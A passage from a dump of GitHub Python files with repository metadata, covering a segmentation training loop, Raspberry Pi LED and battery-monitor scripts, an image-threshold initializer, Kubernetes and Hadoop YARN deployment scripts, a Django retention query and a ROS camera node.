cur_reshaped_fg_prob_map = (reshaped_fg_prob_map[img_idx,:,:] * 255).astype(int)\n                    # cur_reshaped_output = reshaped_output[img_idx,:,:].astype(int) * 255\n\n                    cur_fg_prob_save_path = os.path.join(res_save_dir, temp_name + '_prob.png')\n                    # cur_output_save_path = os.path.join(res_save_dir, temp_name + '_output.png')\n\n                    cv2.imwrite(cur_fg_prob_save_path, cur_reshaped_fg_prob_map)\n                    # cv2.imwrite(cur_output_save_path, cur_reshaped_output)\n\n            auc_test, ap_test = util.get_auc_ap_score(all_labels, all_preds)\n            all_labels_bin = np.copy(all_labels).astype(np.bool)\n            all_preds_bin = all_preds >= 0.5\n            all_correct = all_labels_bin == all_preds_bin\n            acc_test = np.mean(all_correct.astype(np.float32))\n\n\n            print('iter: %d / %d, train_loss: %.4f'%(iter+1, args.max_iters, np.mean(train_loss_list)))\n            print('iter: %d / %d, test_loss: %.4f, test_acc: %.4f, test_auc: %.4f, test_ap: %.4f'\\\n                  %(iter+1, args.max_iters, np.mean(test_loss_list), acc_test, auc_test, ap_test))\n\n            f_log.write('iter: ' + str(iter+1) + ' / '+ str(args.max_iters) + '\\n')\n            f_log.write('train_loss ' + str(np.mean(train_loss_list)) + '\\n')\n            f_log.write('iter: ' + str(iter+1) + ' / '+ str(args.max_iters) + '\\n')\n            f_log.write('test_loss ' + str(np.mean(test_loss_list)) + '\\n')\n            f_log.write('test_acc ' + str(acc_test) + '\\n')\n            f_log.write('test_auc ' + str(auc_test) + '\\n')\n            f_log.write('test_ap ' + str(ap_test) + '\\n')\n            f_log.flush()\n\n            train_loss_list = []\n            test_loss_list = []\n\n    if last_snapshot_iter != iter:\n        filename = os.path.join(model_save_dir, ('iter_{:d}'.format(iter+1) + '.pth'))\n        network.save_model(filename)\n        print('Wrote snapshot to: {:s}'.format(filename))\n\n    f_log.close()\n    print(\"Training complete.\")\n\nif __name__ == '__main__':\n    args = parse_args()\n    run_train(args)\n\n\n\n","repo_name":"Spratumn/vessel_segment","sub_path":"train_CNN.py","file_name":"train_CNN.py","file_ext":"py","file_size_in_byte":6379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72249536747","text":"import RPi.GPIO as gpio\r\n\r\nfrom kivy.app import App\r\nfrom kivy.uix.gridlayout import GridLayout\r\nfrom kivy.uix.togglebutton import ToggleButton\r\nfrom kivy.uix.button import Button\r\n\r\n\r\nRED_LED_PIN = 29\r\nORANGE_LED_PIN = 31\r\nGREEN_LED_PIN = 33\r\n\r\n\r\n# We are using toggle buttons since they are a lot more appropriate for this.\r\n# Infact this is what they are made for.\r\nclass LedWidget(ToggleButton):\r\n    def __init__(self, led_pin, **kwargs):\r\n        super().__init__(**kwargs)\r\n\r\n        self.led_pin = led_pin\r\n        gpio.setup(led_pin, gpio.OUT)\r\n        gpio.output(self.led_pin, gpio.LOW)\r\n\r\n    def on_state(self, widget, value):\r\n        if value == \"down\":\r\n            gpio.output(self.led_pin, gpio.HIGH)\r\n        else:\r\n            gpio.output(self.led_pin, gpio.LOW)\r\n\r\n\r\n\r\nclass LedScreen(GridLayout):\r\n    def __init__(self, **kwargs):\r\n        super().__init__(**kwargs)\r\n\r\n        self.cols = 3\r\n\r\n        red_led = LedWidget(RED_LED_PIN, text=\"Red LED\", group=\"LEDs\")\r\n        orange_led = LedWidget(ORANGE_LED_PIN, text=\"Orange LED\", group=\"LEDs\")\r\n        green_led = LedWidget(GREEN_LED_PIN, text=\"Green LED\", group=\"LEDs\")\r\n\r\n        exit_button = Button(text=\"Exit\")\r\n        exit_button.bind(on_release=self.exit_app)\r\n\r\n        self.add_widget(red_led)\r\n        self.add_widget(orange_led)\r\n        self.add_widget(green_led)\r\n\r\n        self.add_widget(exit_button)\r\n\r\n\r\n    def exit_app(self, widget):\r\n        App.get_running_app().stop()\r\n\r\n\r\nclass LedApp(App):\r\n    def build(self):\r\n        return LedScreen()\r\n\r\n\r\nif __name__ == '__main__':\r\n    gpio.setmode(gpio.BOARD)\r\n\r\n    LedApp().run()\r\n\r\n    gpio.cleanup()\r\n","repo_name":"Zylanx/SIT210-Task5.2C-RPiGUI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3505592837","text":"#!/usr/bin/env python3\n# Dan Evans 23-29/4/19b, based on script by Alex Eames\n# NB THIS VERSION FOR DEPLOYMENT\n\n# nb at setup need : sudo apt-get install python3-rpi.gpio\n\nimport time\nimport RPi.GPIO as GPIO\nfrom threading import Thread, RLock\n\n\nclass SpiBatteryVoltageChecker:\n    def __init__(self):\n        # Hardware setup\n        self.adcs = [0]  # voltage divider connected to channel 0 of mcp3002\n        self.cutoff = 3  # low battery cutoff (when LipoShim shuts dowwn)\n        self.maxvolts = 4.2  # max voltage for the battery, equivalent to 100% charge\n        self.vref = 3.3  # vref of the ADC\n        self.res1 = 180  # resistor connected to VBATT (/1000)\n        self.res2 = 100  # resistor connected to GND (/1000)\n        self.reps = 10  # how many times to take each measurement for averaging\n        self.pcround = 1  # round % battery to nearest\n\n        # Define Pins/Ports on ADC\n        self.SPICLK = 16\n        self.SPIMISO = 20\n        self.SPIMOSI = 21\n        self.SPICS = 13\n\n        self.battery_level = -1\n        self.adc_readings = []\n        self.sync_lock = RLock()\n\n        try:\n            # Set up set up GPIO & SPI interface pins\n            GPIO.setwarnings(False)\n            GPIO.setmode(GPIO.BCM)\n            GPIO.setup(self.SPIMOSI, GPIO.OUT)\n            GPIO.setup(self.SPIMISO, GPIO.IN)\n            GPIO.setup(self.SPICLK, GPIO.OUT)\n            GPIO.setup(self.SPICS, GPIO.OUT)\n\n            # initial reading to determine availability\n            average = 0\n            for i in range(0, 10):\n                average = self._get_moving_average()\n\n            bp = self._get_percentage(average)\n            if bp <= 0.01:\n                print(\"spi reader not detected\")\n                GPIO.cleanup()\n            else:\n                self.battery_level = bp\n                self.service_thread = Thread(target=self._service_loop)\n                self.service_thread.setDaemon(True)\n                self.service_thread.start()\n        except:\n            print(\"Failed to set up GPIO pins for battery level reading\")\n            GPIO.cleanup()\n\n    def get_measurement(self):\n        with self.sync_lock:\n            return self.battery_level\n\n    def _service_loop(self):\n        while True:\n            time.sleep(60)\n            try:\n                with self.sync_lock:\n                    self.battery_level = self._get_percentage(self._get_moving_average())\n            except:\n                pass\n\n    # ADC code based on an adafruit example for mcp3008\n    def _readadc(self, adcnum, clockpin, mosipin, misopin, cspin):\n        if ((adcnum > 1) or (adcnum < 0)):\n            return -1\n        if (adcnum == 0):\n            commandout = 0x6\n        else:\n            commandout = 0x7\n\n        GPIO.output(cspin, True)\n        GPIO.output(clockpin, False)  # start clock low\n        GPIO.output(cspin, False)     # bring CS low\n\n        commandout <<= 5    # we only need to send 3 bits here\n        for i in range(3):\n            if (commandout & 0x80):\n                GPIO.output(mosipin, True)\n            else:\n                GPIO.output(mosipin, False)\n            commandout <<= 1\n            GPIO.output(clockpin, True)\n            GPIO.output(clockpin, False)\n\n        adcout = 0\n        # read in one empty bit, one null bit and 10 ADC bits\n        for i in range(12):\n            GPIO.output(clockpin, True)\n            GPIO.output(clockpin, False)\n            adcout <<= 1\n            if (GPIO.input(misopin)):\n                adcout |= 0x1\n\n        GPIO.output(cspin, True)\n\n        adcout /= 2       # first bit is 'null' so drop it\n        return adcout\n\n    def _get_moving_average(self):\n        self.adc_readings.append(self._get_adc_reading())\n        reading_count = len(self.adc_readings)\n        if reading_count > self.reps:\n            self.adc_readings = self.adc_readings[reading_count-self.reps:reading_count]\n        return float(sum(self.adc_readings) / len(self.adc_readings))\n\n    def _get_adc_reading(self):\n        adc_sum = 0\n        for adcnum in self.adcs:\n            try:\n                adc_sum += self._readadc(adcnum, self.SPICLK, self.SPIMOSI, self.SPIMISO, self.SPICS)\n            except:\n                print(\"Error reading adc value\")\n            time.sleep(0.05)\n        return float(adc_sum / len(self.adcs))\n\n    def _get_percentage(self, adc_reading):\n        # convert analogue reading to volts and %, accounting for vref and setup of resistor bridge\n        volts = adc_reading * ( self.vref / 1024 ) * (self.res1 + self.res2) / self.res2\n        voltspc = int ( 100 * ( volts - self.cutoff ) / ( self.maxvolts - self.cutoff ) )\n        voltspcround = self.pcround * round( voltspc / self.pcround )\n        if (voltspcround > 100):\n            voltspcround = 100\n        if (voltspcround < 0):\n            voltspcround = 0\n        return voltspcround\n\n\nif __name__ == '__main__':\n    sbc = SpiBatteryVoltageChecker()\n    while True:\n        try:\n            print(\"Battery is now at %d percent\" % sbc.get_measurement())\n            time.sleep(10)\n        except KeyboardInterrupt:\n            break\n","repo_name":"winemug/omnipy","sub_path":"batt_check.py","file_name":"batt_check.py","file_ext":"py","file_size_in_byte":5105,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"37"}
+{"seq_id":"12396306364","text":"from scipy.ndimage import gaussian_filter\nfrom skimage.filters.thresholding import threshold_otsu\n\nfrom lsml.initializer.initializer_base import (\n    InitializerBase)\n\n\nclass ThresholdInitializer(InitializerBase):\n    \"\"\" Computes the Otsu threshold on the a Gaussian-smoothed image, and\n    creates the boolean initialization using that threshold\n    \"\"\"\n\n    def __init__(self, sigma):\n        \"\"\" Initialize a threshold initializer instance\n\n        Parameters\n        ----------\n        sigma: float\n            The sigma value used for Gaussian smoothing. A value of zero\n            implies no Gaussian filtering will be used.\n\n        \"\"\"\n        if sigma < 0:\n            raise ValueError(\"sigma ({}) was negative\".format(sigma))\n        self.sigma = sigma\n\n    def initialize(self, img, dx, seed):\n\n        if self.sigma == 0:\n            blur = img.copy()\n        else:\n            blur = gaussian_filter(img, self.sigma)\n\n        threshold_value = threshold_otsu(blur)\n\n        init_mask = blur >= threshold_value\n\n        return init_mask\n","repo_name":"notmatthancock/level-set-machine-learning","sub_path":"lsml/initializer/provided/threshold.py","file_name":"threshold.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"}
+{"seq_id":"32151553316","text":"#!/usr/bin/env python3\nimport argparse\nimport atexit\nimport os\nimport subprocess\nimport time\nimport uuid\nimport glob\nimport plumbum\nimport pystache\nimport yaml\nfrom bin import common\nfrom bin import env_generator\n\nBASE_DIR = os.path.abspath(os.path.dirname(\"{0}/../../\".format(os.path.abspath(__file__))))\n\nENV_FILE = \"{0}/.env\".format(BASE_DIR)\nKUBE_CONF_AUTO_GENERATED_DIR = \"{0}/.autogen-k8\".format(BASE_DIR)\nos.chdir(BASE_DIR)\n\n\ndef print_service_info(args):\n    DEFAULT_PROXY_DOMAIN = os.environ.get(\"DEFAULT_PROXY_DOMAIN\")\n    PROXY_PORT = os.environ.get(\"DEFAULT_PROXY_SERVICE_PORT\")\n\n    if os.environ.get(\"DEPLOYMENT_TYPE\") == \"development\":\n        username = \"dev-admin\"\n        password = \"nopassword\"\n    else:\n        username = \"ProductionUsername\"\n        password = \"ProductionPassword\"\n\n    PORT = \"\" if PROXY_PORT == \"80\" else \":{0}\".format(PROXY_PORT)\n    service_map = [\n        dict(\n            name=\"UI\",\n            username=username,\n            password=password,\n            url=\"http://web.{0}{1}\".format(DEFAULT_PROXY_DOMAIN, PORT),\n        )\n    ]\n    print(\"*\" * 79)\n    for service in service_map:\n        print(\"\\tAccess {name} with {username}:{password}@{url}\".format(**service))\n    print(\"*\" * 79)\n\n\ndef render_k8_template(src_file, dst_file, context):\n    with open(src_file) as src, open(dst_file, \"w\") as dst:\n        src_content = src.read()\n        dst_content = pystache.render(src_content, context)\n        dst.write(dst_content)\n\n\ndef generate_deployment_configs():\n    common.run_and_print(\n        \"rm -rf {} && mkdir  {}\".format(KUBE_CONF_AUTO_GENERATED_DIR, KUBE_CONF_AUTO_GENERATED_DIR)\n    )\n\n    context = env_generator.get_dict_from_env_file(ENV_FILE)\n    context.update({\"WEB_IMAGE_SUFFIX\": common.get_image_map()[\"velocity-web\"][\"image_version\"]})\n    # Render all templates\n    for src_file in glob.glob(\"templates/kube/**/*.yml\"):\n        dst_dir = os.path.dirname(src_file).replace(\"templates/kube\", \".autogen-k8\")\n        dst_file = src_file.replace(\"templates/kube\", \".autogen-k8\")\n        if not os.path.exists(dst_dir):\n            common.run_and_print(\"mkdir -p {0}\".format(dst_dir))\n\n        render_k8_template(src_file, dst_file, context)\n\n    # Generate ConfigMap\n    config_map = {\n        \"apiVersion\": \"v1\",\n        \"data\": context,\n        \"kind\": \"ConfigMap\",\n        \"metadata\": {\n            \"name\": \"velocity-config-env-file\",\n            \"labels\": {\"name\": os.environ.get(\"K8_VELOCITY_LABEL\")},\n        },\n    }\n    with open(\".autogen-k8/velocity-config-env-file.yml\", \"w\") as f:\n        yaml.safe_dump(config_map, f)\n\n\ndef deploy_to_k8(args):\n    # Reset deployment if needed\n    if args.reset_hard and os.environ.get(\"DEPLOYMENT_TYPE\") == \"development\":\n        common.run_and_print(\n            \"kubectl -n {0} delete configmap {1}\".format(\n                os.environ.get(\"k8_NAMESPACE\"), os.getenv(\"VELOCITY_CONFIGMAP_NAME\")\n            )\n        )\n        common.run_and_print(\n            \"kubectl  -n {0} delete deployment,svc,job, pod,replicaset,pv,pvc,configmaps -l name={1}\".format(\n                os.environ.get(\"k8_NAMESPACE\"), os.getenv(\"K8_VELOCITY_LABEL\")\n            )\n        )\n\n    # create namespace\n    try:\n        common.run_and_print(\n            \"kubectl  -n {0} apply -f {1}/apps/namespace.yml\".format(\n                os.environ.get(\"k8_NAMESPACE\"), os.getenv(\"KUBE_CONF_AUTO_GENERATED_DIR\")\n            )\n        )\n    except Exception as e:\n        print(e)\n\n    # create configmap\n    try:\n        common.run_and_print(\n            \"kubectl  -n {0} delete configmaps {1}\".format(\n                os.environ.get(\"k8_NAMESPACE\"), os.getenv(\"VELOCITY_CONFIGMAP_NAME\")\n            )\n        )\n    except Exception as e:\n        print(e)\n\n    common.run_and_print(\n        \"kubectl  -n {0} apply -f {1}/velocity-config-env-file.yml\".format(\n            os.environ.get(\"k8_NAMESPACE\"), KUBE_CONF_AUTO_GENERATED_DIR\n        )\n    )\n\n    # Deploy ingress if needed\n    if common.run_and_return(\"kubectl config current-context\") == b\"docker-desktop\\n\":\n        common.run_and_print(\n            \"kubectl create namespace {0}\".format(os.getenv(\"INGRESS_NAME_SPACE\"))\n        )\n        common.run_and_print(\n            \"kubectl  -n {0} apply -f {1}/ingress-controller-development\".format(\n                os.getenv(\"INGRESS_NAME_SPACE\"), KUBE_CONF_AUTO_GENERATED_DIR\n            )\n        )\n\n    # Create apps\n    common.run_and_print(\n        \"kubectl  -n {0} apply -f {1}/apps\".format(\n            os.environ.get(\"k8_NAMESPACE\"), KUBE_CONF_AUTO_GENERATED_DIR\n        )\n    )\n\n    # Create ingress rules\n    if os.environ.get(\"DEPLOYMENT_TYPE\") == \"development\":\n        common.run_and_print(\n            \"kubectl  -n {0} apply -f {1}/ingress-rule-development\".format(\n                os.environ.get(\"k8_NAMESPACE\"), KUBE_CONF_AUTO_GENERATED_DIR\n            )\n        )\n    elif os.environ.get(\"DEPLOYMENT_TYPE\") == \"production\":\n        common.run_and_print(\n            \"kubectl  -n {0} apply -f {1}/ingress-rule-production\".format(\n                os.environ.get(\"k8_NAMESPACE\"), KUBE_CONF_AUTO_GENERATED_DIR\n            )\n        )\n\n\ndef start_logging_k8(args):\n    if args.tail_log:\n        if os.environ.get(\"DEPLOYMENT_TYPE\") != \"development\":\n            print(\"!!! DEPLOYMENT_TYPE not set to development, can tail logs\")\n        else:\n            common.run_and_print(\n                \"kubectl -n {0} logs --selector='app in (velocity-web)' --since=1m --tail=20 --all-containers\".format(\n                    os.environ.get(\"k8_NAMESPACE\")\n                )\n            )\n\n\ndef build_images(args):\n    docker_compose = plumbum.local[\"docker-compose\"]\n    if args.deployment_server:\n        sock_file_name = \"/tmp/\" + str(uuid.uuid4())\n        open_sock_cmd = \"ssh -nNT -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o Compression=no -L {0}:/var/run/docker.sock {1}\".format(\n            sock_file_name, args.deployment_server\n        )\n        open_sock_proc = subprocess.Popen(open_sock_cmd, stdout=subprocess.PIPE, shell=True)\n        print(\"waiting for socket to open...\")\n        time.sleep(30)\n        atexit.register(open_sock_proc.kill)\n        atexit.register(os.remove, sock_file_name)\n        docker_compose = docker_compose.setenv(DOCKER_HOST=\"unix://{0}\".format(sock_file_name))\n    docker_compose = docker_compose.setenv(\n        WEB_IMAGE_SUFFIX=common.get_image_map()[\"velocity-web\"][\"image_version\"]\n    )\n\n    if os.environ.get(\"DEPLOYMENT_TYPE\") == \"development\":\n        common.run_and_print(\"bin/publish_images\")\n\n\ndef main(args):\n    if args.service_info:\n        print_service_info(args)\n        exit(0)\n\n    build_images(args)\n    generate_deployment_configs()\n    deploy_to_k8(args)\n    print_service_info(args)\n    start_logging_k8(args)\n","repo_name":"paras-shah/testR","sub_path":"ui/bin/deploy_k8.py","file_name":"deploy_k8.py","file_ext":"py","file_size_in_byte":6781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35638530378","text":"from django.db.models import Sum, F, Count\nfrom rest_framework import serializers\n\nfrom dashboard.models import UserRetention\n\n\ndef get_retention(retention, active):\n    validations = ['day', 'week', 'month', 'year']\n    for i in [retention, active]:\n        if i:\n            if i not in validations: raise serializers.ValidationError(f'[{i}] is invalid options please select '\n                                                                       f'one of {validations}.')\n    stats = {}\n    if retention:\n        q = (\n            UserRetention\n                .objects\n                .values(f'in_date__{retention}')\n                .annotate(\n                h=Sum(F('out_date') - F('in_date')),\n                n=Count('user_id', distinct=True),\n            )\n        )\n        # formating\n        l = [\n            {\n                f'{retention}': x[f'in_date__{retention}'],\n                f'avg_duration_per_{retention}': round(x['h'].total_seconds() / (x['n'] * 3600), 2)\n            }\n            for x in q\n        ]\n        stats['retention'] = l\n\n    if active:\n        q = (\n            UserRetention\n                .objects\n                .values(f'in_date__{active}')\n                .annotate(\n                n=Count('user_id', distinct=True),\n            )\n        )\n        l = [{'active_users': x['n'], f'{active}': x[f'in_date__{active}']} for x in q]\n        stats['active'] = l\n    return stats","repo_name":"AlenSci/django-template","sub_path":"Functions/analytics/get_retention.py","file_name":"get_retention.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38105975923","text":"#!/usr/bin/env python3\n\n# Node information:\n# Name: camera\n# Description: Camera node as as service that captures and return image analysis\n\n# importing libraries\nimport rospy\nimport cv2\nimport numpy as np\nfrom std_srvs.srv import Trigger, TriggerResponse\n\nclass Camera():\n    '''Class to manage the node'''\n    def __init__(self):\n        self.pixelRed = 0\n        self.pixelGreen = 0\n        self.threshold = 50\n        self.new_dimension_image = (480, 320)\n\n        # service\n        self.camera_service = rospy.Service('capture_and_analyze', Trigger, self.capture_and_analyze)\n\n\n    def capture_and_analyze(self, req):\n        '''Capture ande analyze image'''\n\n        self.camera_image = cv2.VideoCapture(0)\n\n        try:\n            if self.camera_image.isOpened():\n                validation, frame = self.camera_image.read()\n                if validation:\n                    cv2.imshow(\"Camera\",frame)\n                    frame = cv2.rotate(frame, cv2.ROTATE_180)\n                    cv2.imwrite('/home/emerson/catkin_ws/src/tcc/obelix/imagens/image.jpg', frame)\n\n                    frame_resized = cv2.resize(frame, self.new_dimension_image, interpolation = cv2.INTER_AREA)\n        \n                    for i in range(self.new_dimension_image[0]):\n                        for j in range(self.new_dimension_image[1]):\n                            if (frame_resized[j][i][1]<self.threshold):\n                                self.pixelRed = self.pixelRed + 1\n                            if (frame_resized[j][i][2]<self.threshold):\n                                self.pixelGreen = self.pixelGreen + 1\n\n                    if (self.pixelRed>self.pixelGreen):\n                        color = 'vermelho'\n                        print(\"Pixels vermelhos\",self.pixelRed)\n                        print(\"Pixels verdes\",self.pixelGreen)\n                        self.camera_image.release()\n                        return TriggerResponse(success=True, message=color)\n\n                    else:\n                        color = 'verde'\n                        print(\"Pixels vermelhos\",self.pixelRed)\n                        print(\"Pixels verdes\",self.pixelGreen)\n                        self.camera_image.release()\n                        return TriggerResponse(success=True, message=color)\n\n        except KeyboardInterrupt:\n            self.camera_image.release()\n\n        self.camera_image.release()\n        color=\"sem_cor\"\n        return TriggerResponse(success=True, message=color)\n\n################       \n# --- MAIN --- #\n################\n\ndef main():\n    rospy.init_node('camera_srvs')\n    camera = Camera()\n    rospy.loginfo('Start camera node')\n\n    rate = rospy.Rate(10)\n\n    while not rospy.is_shutdown():\n\n        rate.sleep()\n\nif (__name__ == '__main__'):\n    main()","repo_name":"emersontop/tcc","sub_path":"obelix/obelix/camera_srvs.py","file_name":"camera_srvs.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29715973581","text":"import argparse\nimport deploy_hdfs\nimport deploy_utils\nimport parallel_deploy\nimport subprocess\nimport sys\nimport urlparse\n\nfrom log import Log\n\nALL_JOBS = [\"resourcemanager\", \"nodemanager\", \"historyserver\", \"proxyserver\"]\n\nSHELL_COMMAND_INFO = {\n  \"rmadmin\": (\"org.apache.hadoop.yarn.server.resourcemanager.tools.RMAdmin\",\n      \"admin tools\"),\n  \"version\": (\"org.apache.hadoop.util.VersionInfo\", \"print the version\"),\n  \"jar\": (\"org.apache.hadoop.util.RunJar\", \"run a jar file\"),\n  \"logs\": (\"org.apache.hadoop.yarn.logaggregation.LogDumper\",\n      \"dump container logs\"),\n  \"daemonlog\": (\"org.apache.hadoop.log.LogLevel\",\n      \"get/set the log level for each daemon\"),\n}\n\ndef get_yarn_service_config(args):\n  args.yarn_config = deploy_utils.get_service_config(args)\n  if not args.yarn_config.cluster.zk_cluster:\n    Log.print_critical(\n        \"yarn cluster must depends on a zookeeper clusters: %s\" %\n        args.yarn_config.cluster.name)\n\ndef generate_metrics_config(args, host, job_name, instance_id=-1):\n  job = args.yarn_config.jobs[job_name]\n  supervisor_client = deploy_utils.get_supervisor_client(host, \"yarn\",\n      args.yarn_config.cluster.name, job_name, instance_id=instance_id)\n\n  ganglia_switch = \"# \"\n  if args.yarn_config.cluster.ganglia_address:\n    ganglia_switch = \"\"\n  config_dict = {\n      \"job_name\": job_name,\n      \"period\": 10,\n      \"data_dir\": supervisor_client.get_log_dir(),\n      \"ganglia_address\": args.yarn_config.cluster.ganglia_address,\n      \"ganglia_switch\": ganglia_switch,\n  }\n\n  local_path = \"%s/hadoop-metrics2.properties.tmpl\" % deploy_utils.get_template_dir()\n  template = deploy_utils.Template(open(local_path, \"r\").read())\n  return template.substitute(config_dict)\n\ndef generate_configs(args, host, job_name, instance_id):\n  core_site_xml = deploy_utils.generate_site_xml(args,\n    args.yarn_config.configuration.generated_files[\"core-site.xml\"])\n  hdfs_site_xml = deploy_utils.generate_site_xml(args,\n    args.yarn_config.configuration.generated_files[\"hdfs-site.xml\"])\n  mapred_site_xml = deploy_utils.generate_site_xml(args,\n    args.yarn_config.configuration.generated_files[\"mapred-site.xml\"])\n  yarn_site_xml = deploy_utils.generate_site_xml(args,\n    args.yarn_config.configuration.generated_files[\"yarn-site.xml\"])\n  hadoop_metrics2_properties = generate_metrics_config(args, host, job_name, instance_id)\n\n  config_files = {\n    \"core-site.xml\": core_site_xml,\n    \"hdfs-site.xml\": hdfs_site_xml,\n    \"mapred-site.xml\": mapred_site_xml,\n    \"yarn-site.xml\": yarn_site_xml,\n    \"hadoop-metrics2.properties\": hadoop_metrics2_properties,\n  }\n  config_files.update(args.yarn_config.configuration.raw_files)\n\n  return config_files\n\ndef generate_run_scripts_params(args, host, job_name, host_id, instance_id):\n  job = args.yarn_config.jobs[job_name]\n\n  supervisor_client = deploy_utils.get_supervisor_client(host,\n      \"yarn\", args.yarn_config.cluster.name, job_name, instance_id=instance_id)\n\n  artifact_and_version = \"hadoop-\" + args.yarn_config.cluster.version\n\n  jar_dirs = \"\"\n  for component in [\"common\", \"mapreduce\", \"yarn\", \"hdfs\"]:\n    if jar_dirs: jar_dirs += \":\"\n    component_dir = (\"$package_dir/share/hadoop/%s\" % component)\n    jar_dirs += \"%s/:%s/lib/*:%s/*\" % (\n        component_dir, component_dir, component_dir)\n\n  service_env = \"\"\n  for component_path in [\"HADOOP_COMMON_HOME\", \"HADOOP_HDFS_HOME\", \"YARN_HOME\"]:\n    service_env += \"export %s=$package_dir\\n\" % (component_path)\n  log_level = deploy_utils.get_service_log_level(args, args.yarn_config)\n\n  params = job.get_arguments(args, args.yarn_config.cluster, args.yarn_config.jobs,\n    args.yarn_config.arguments_dict, job_name, host_id, instance_id)\n\n  script_dict = {\n      \"artifact\": artifact_and_version,\n      \"job_name\": job_name,\n      \"jar_dirs\": jar_dirs,\n      \"run_dir\": supervisor_client.get_run_dir(),\n      \"service_env\": service_env,\n      \"params\": params,\n  }\n\n  return script_dict\n\ndef generate_start_script(args, host, job_name, host_id, instance_id):\n  script_params = generate_run_scripts_params(args, host, job_name, host_id, instance_id)\n  return deploy_utils.create_run_script(\n      \"%s/start.sh.tmpl\" % deploy_utils.get_template_dir(),\n      script_params)\n\ndef install(args):\n  get_yarn_service_config(args)\n  deploy_utils.install_service(args, \"yarn\", args.yarn_config, \"hadoop\")\n\ndef cleanup_job(args, host, job_name, host_id, instance_id, cleanup_token, active):\n  deploy_utils.cleanup_job(\"yarn\", args.yarn_config,\n    host, job_name, instance_id, cleanup_token)\n\ndef cleanup(args):\n  get_yarn_service_config(args)\n\n  cleanup_token = deploy_utils.confirm_cleanup(args,\n      \"yarn\", args.yarn_config)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name,\n      'cleanup', cleanup_token=cleanup_token)\n    parallel_deploy.start_deploy_threads(cleanup_job, task_list)\n\ndef bootstrap_job(args, host, job_name, host_id, instance_id, cleanup_token, active):\n  # parse the service_config according to the instance_id\n  args.yarn_config.parse_generated_config_files(args, job_name, host_id, instance_id)\n  deploy_utils.bootstrap_job(args, \"hadoop\", \"yarn\",\n      args.yarn_config, host, job_name, instance_id, cleanup_token, '0')\n  start_job(args, host, job_name, host_id, instance_id)\n\ndef bootstrap(args):\n  get_yarn_service_config(args)\n  cleanup_token = deploy_utils.confirm_bootstrap(\"yarn\", args.yarn_config)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name,\n      'bootstrap', cleanup_token=cleanup_token)\n    parallel_deploy.start_deploy_threads(bootstrap_job, task_list)\n\ndef start_job(args, host, job_name, host_id, instance_id, is_wait=False):\n  if is_wait:\n    deploy_utils.wait_for_job_stopping(\"yarn\",\n      args.yarn_config.cluster.name, job_name, host, instance_id)\n\n  # parse the service_config according to the instance_id\n  args.yarn_config.parse_generated_config_files(args, job_name, host_id, instance_id)\n  config_files = generate_configs(args, host, job_name, instance_id)\n  start_script = generate_start_script(args, host, job_name, host_id, instance_id)\n  http_url = deploy_utils.get_http_service_uri(host,\n    args.yarn_config.jobs[job_name].base_port, instance_id)\n  deploy_utils.start_job(args, \"hadoop\", \"yarn\", args.yarn_config,\n      host, job_name, instance_id, start_script, http_url, **config_files)\n\ndef start(args):\n  if not args.skip_confirm:\n    deploy_utils.confirm_start(args)\n  get_yarn_service_config(args)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name, 'start')\n    parallel_deploy.start_deploy_threads(start_job, task_list)\n\ndef stop_job(args, host, job_name, instance_id):\n  deploy_utils.stop_job(\"yarn\", args.yarn_config,\n      host, job_name, instance_id)\n\ndef stop(args):\n  if not args.skip_confirm:\n    deploy_utils.confirm_stop(args)\n  get_yarn_service_config(args)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name, 'stop')\n    parallel_deploy.start_deploy_threads(stop_job, task_list)\n\ndef restart(args):\n  if not args.skip_confirm:\n    deploy_utils.confirm_restart(args)\n  get_yarn_service_config(args)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name, 'stop')\n    parallel_deploy.start_deploy_threads(stop_job, task_list)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name,\n      'start', is_wait=True)\n    parallel_deploy.start_deploy_threads(start_job, task_list)\n\ndef show_job(args, host, job_name, instance_id):\n  deploy_utils.show_job(\"yarn\", args.yarn_config, host, job_name, instance_id)\n\ndef show(args):\n  get_yarn_service_config(args)\n\n  for job_name in args.job or ALL_JOBS:\n    hosts = args.yarn_config.jobs[job_name].hosts\n    task_list = deploy_utils.schedule_task_for_threads(args, hosts, job_name, 'show')\n    parallel_deploy.start_deploy_threads(show_job, task_list)\n\ndef run_shell(args):\n  get_yarn_service_config(args)\n\n  main_class, options = deploy_utils.parse_shell_command(\n      args, SHELL_COMMAND_INFO)\n  if not main_class:\n    return\n\n  # parse the service_config, suppose the instance_id is -1\n  args.yarn_config.parse_generated_config_files(args)\n  core_site_dict = args.yarn_config.configuration.generated_files[\"core-site.xml\"]\n  hdfs_site_dict = args.yarn_config.configuration.generated_files[\"hdfs-site.xml\"]\n  mapred_site_dict = 